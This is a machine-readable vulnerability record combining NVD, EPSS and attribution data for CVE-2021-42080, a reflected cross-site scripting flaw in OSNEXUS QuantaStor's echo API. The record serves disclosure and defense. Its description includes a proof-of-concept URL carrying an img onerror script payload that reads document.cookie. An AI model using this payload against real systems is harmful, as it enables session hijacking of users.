{"cve":"CVE-2021-42080","nvd":{"published":"2023-07-10T16:15:47.530","modified":"2026-06-17T04:09:16.733","status":"Modified","description":"An attacker is able to launch a Reflected XSS attack using a crafted URL.\n\nPOC:\n\nVisit the following URL\nhttps://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>","cvss_v4":null,"cvss_v3":{"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","score":7.4},"cwes":["CWE-79"],"references":["https://csirt.divd.nl/CVE-2021-42080","https://csirt.divd.nl/DIVD-2021-00020/","https://www.osnexus.com/products/software-defined-storage","https://www.wbsec.nl/osnexus","https://csirt.divd.nl/CVE-2021-42080"],"products":["osnexus:quantastor"],"source":"nvd","synced_at":"2026-10-19T21:38:30.124994567+00:00"},"epss":{"cve":"CVE-2021-42080","score":0.00695,"percentile":0.52988,"date":"2026-11-01"},"kev":null,"osv":[],"attribution":["This product uses the NVD API but is not endorsed or certified by the NVD.","EPSS scores: FIRST Exploit Prediction Scoring System, https://www.first.org/epss","Known exploited vulnerabilities: CISA Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog","Package advisories: OSV (https://osv.dev), from the GitHub Advisory Database, PyPA, Go, RustSec and other ecosystem databases, under CC-BY 4.0 or CC0","CVE records: the CVE Program's CVE List (https://www.cve.org), under its terms of use (https://www.cve.org/Legal/TermsOfUse). CVE is a registered trademark of The MITRE Corporation; this product is not affiliated with the CVE Program."]}